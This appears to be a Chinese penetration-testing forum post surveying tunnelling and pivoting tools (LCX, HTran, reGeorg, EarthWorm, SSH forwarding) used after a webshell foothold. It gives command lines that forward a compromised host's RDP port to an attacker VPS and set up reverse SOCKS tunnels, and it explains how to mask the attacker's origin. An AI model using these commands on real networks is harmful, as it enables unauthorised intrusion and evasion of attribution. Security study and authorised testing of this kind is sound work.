代理转发工具汇总分析

在综合的渗透过程中,Shell is Only the Beginning 。 内网渗透无论是难度还是广度都不亚于前端入侵。介于Webshell 和 内网渗透之间的是 代理转发工具。 一个高效稳定代理尤为重要。我们经常用的代理转发工具包括:端口转发工具、Web代理脚本、Shell反弹脚本、VPN等,如下图

正向与反向代理说明

  1. 引用redrain:正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)
  2. 反向代理:将内网的流量转发到外网 ; 正向代理:以某台机器为跳板,做正向代理进行内网穿透

代理转发使用心得

总体来讲,自身使用频率较高的是:

  1. 第一个是 LCX 对 windows 3389 的转发;
  2. 第二个是 reGeorg 通过上传对应脚本(PHP/ASPX/JSP),然后全局代理进一步内网渗透;
  3. 第三个是 EarthWorm ,今年发现的,效果不错。并且还能多重网络应用。

主要的想法心得:

  1. windows 系列, 肯定把3389 弹出来 比较直接, lcx 作为首选。 当然这也是比较老的工具了。
  2. linux 系列, 22 也需要转发, 但总感觉需求不如3389大, 需要交互式shell 直接 shell 反弹就好了,比如bash nc python等。
  3. 全局代理很有必要,regeorg ew 都不错,速度也跟的上,性能相对稳定。 挂上局部或者全局代理后,可以NMAP 可以fenghuangscan 也可以POC-fuzz 等等,试想今年猪猪侠讲的SSRF 作用那么大,借助代理后能做的更多。
  4. 实测的 Tunna & reDuh 速度比较慢, 但reDuh 在RDP 过程中 比Tunna 快。
  5. Proxifier 这个工具操作起来稍微麻烦,但用习惯了,特别好用。 比如挂代理后,远控内网的DB...
  6. SocksCap64 & proxychains 都是局部代理, 快速方便,简单易懂。
  7. Htran 这个工具支持的非常全面支持正向代理、反向代理、正向端口转发、反向端口转发, 在实际渗透过程中正向端口转发略显鸡肋,谁家Web应用任你随便开端口? 即使开了防火墙也不乐意。
  8. SSH转发、NC 、bash 等反弹,方便快捷,不用上传东西,居家旅行必备。

如下图,xls文件 稍后分享

Web代理的原理和重要性

我用的Web代理主要是reGeorg EarthWorm , EW 的功能更完善。reGeorg 属于正向代理、EW 支持正向&反向代理。估计后期会更加强大。

1.菜刀我们都用过,其中有个功能非常实惠,就是数据库连接功能。 不但能够连接自身IP的数据库,也能连接内网对应的数据库。 他之所以能够做到,是因为他是以Web应用的网络权限去连接内网数据库。

2.同理,我们上传脚本后,使用了Web代理,若使用了全局代理,相当于我们整个PC 的通讯都是以 Web应用的网络权限去访问内网。

下面我给个测试用例:

webshell 及 VPS 套用,打马比较麻烦。 我用的是本机和虚拟机。

主机A(win10) Web应用B(win2003) 内网主机C(kali)
192.168.1.103 192.168.192.129 192.168.192.128

原则上来讲,我用A 访问 C 是能直接通讯的, 我没有设置iptables, 稍后我通过wireshark 抓包来观察现象。(若A访问C,源地址是192.168.192.1 虚拟网卡的地址)

目的:攻击者A 通过web应用B 看内网主机C, 在C上查看流量发现是B访问的而非攻击者。

步骤如下:

第一步: 上传tunnel 文件 到 Web应用B

第二步: 在A 上,使用reGeorgSocksProxy.py 并指定端口

第三步: 设置自己的代理Proxifier 或者SocksCap64(本次使用的是proxifier)

第四步: 在C上使用wireshark 查看流量信息。(当然也可以查看日志)

其他代理工具的方法概要

PS:其实这些网上很多,最后我附上我觉得还不错的链接。

LCX

VPS: lcx -listen 2222 3333

//2222为转发端口,3333为本机任意未被占用的端口

肉鸡:lcx -slave 119.75.217.56 2222 127.0.0.1 3389

//119.75.217.56 为VPS IP,2222为转发端口,127.0.0.1为肉鸡内网IP,3389为远程终端端口

3389连接时格式 127.0.0.1:3333

RTCP

from:http://blog.knownsec.com/2012/02/open-source-rtcp/

A服务器在内网,公网无法直接访问这台服务器,但是A服务器可以联网访问公网的B服务器(假设IP为222.2.2.2)。

我们也可以访问公网的B服务器。我们的目标是访问A服务器的22端口。那么可以这样:

  1. 在B服务器上运行:

./rtcp.py l:10001 l:10002

表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了。

  1. 在A服务器上运行:

./rtcp.py c:localhost:22 c:222.2.2.2:10001

表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了。

  1. 然后我们就可以这样来访问A服务器的22端口了:

ssh 222.2.2.2 -p 10002

原理很简单,这个命令执行后,B服务器的10002端口接收到的任何数据都会传给10001端口,此时,A服务器是连接了B服务器的10001端口的,数据就会传给A服务器,最终进入A服务器的22端口。

测试用例截图如下:

这个过程有个报错ssh_exchange_identification: read: Connection reset by peer

解决方法:chmod 400 /etc/ssh/*

HTran

正向代理

服务端 htran.exe -s -bind 8888

客户端 SocksCap:SOCKS Version 5 服务端IP:8888

反向代理

客户端 htran.exe -s -listen 1234 8888

服务端 htran.exe -s -connect 客户端IP 1234

客户端 SocksCap:SOCKS Version 5 127.0.0.1:8888

正向端口转发

服务端 htran.exe -p -tran 8888 127.0.0.1 3389

客户端 RDP 服务端IP:8888

反向端口转发

客户端 htran.exe -p -listen 1234 8888

服务端 htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389

客户端 RDP 127.0.0.1:8888

Tunna

这个工具用法很普通,主要是中间有个bug我给提示下

第一步 上传脚本

第二步 运行proxy.py 并指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v

第三步 本地执行 rdesktop 127.0.0.1:1234

bug : 在过程中,出现远程桌面的黄框后程序断掉,不要关闭这个提示,再运行一次即可。

reDuh

第一步:把服务端的reDuh脚本(aspx php jsp)上传到目标服务器。

第二步:java -jar reDuhClient.jar http://192.168.3.143/reDuh.php

第三步:新开命令窗口,nc -vv localhost 1010

然后输入[createTunnel]1234:127.0.0.1:22

//前面的1234是本机连接用的端口,中间的ip地址是目标服务器的(可以是webshell所在服务器也可以是和它同内网的服务器),后面的22是欲连接目标服务器的端口。 成功后两个命令行窗口都会有成功提示。Successfully bound locally to port 1234. Awaiting connections.

第四步:远程连接

reGeorg

步骤不再赘述,见原理,分享一个webshell后代理后的 测试效果

EarthWorm

from:http://rootkiter.com/EarthWorm/

按照官网来即可,那几个参数得多弄几遍才会记得清。

配套的Termite 也非常不错。

正向代理

反向代理

a) ./ew -s rcsocks -l 1080 -e 8888

// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机

b) ./ew -s rssocks -d 1.1.1.1 -e 8888

// 将目标网络的可控边界主机反向连接公网主机

c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

SSH转发

比较实用。拿来主义

SSH隧道进行代理

ssh -qTfnN -L port:host:hostport -l user remote_ip

正向隧道,监听本地port

ssh -qTfnN -R port:host:hostport -l user remote_ip

反向隧道,用于内网穿透防火墙限制之类

SSH -qTfnN -D port remotehost

SSH端口转发

ssh -CfNg -L port1:127.0.0.1:port2 user@host

本地转发

ssh -CfNg -R port2:127.0.0.1:port1 user@host

远程转发

附录-参考资料

  1. http://www.freebuf.com/articles/system/12182.html Socks代理反弹突破内网
  2. http://www.cnseay.com/3972/ 奇人绝技:利用php socket5代理进行内网渗透测试
  3. https://www.91ri.org/14390.html 内网渗透随想
  4. http://le4f.net/post/post/revers ... he-penetration-test 渗透测试:反弹与转发小结
  5. http://staff.washington.edu/corey/fw/ssh-port-forwarding.html ssh 端口转发
  6. 文中提到的表格下载地址 分享-代理转发工具汇总.xlsx(打开表格的密码是sm0nk) 链接: https://pan.baidu.com/s/1jIxzIiq 密码: kd8r

行文仓促,文中不足之处,望各位大牛多多指教。

From : https://www.t00ls.net/thread-35614-1-1.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注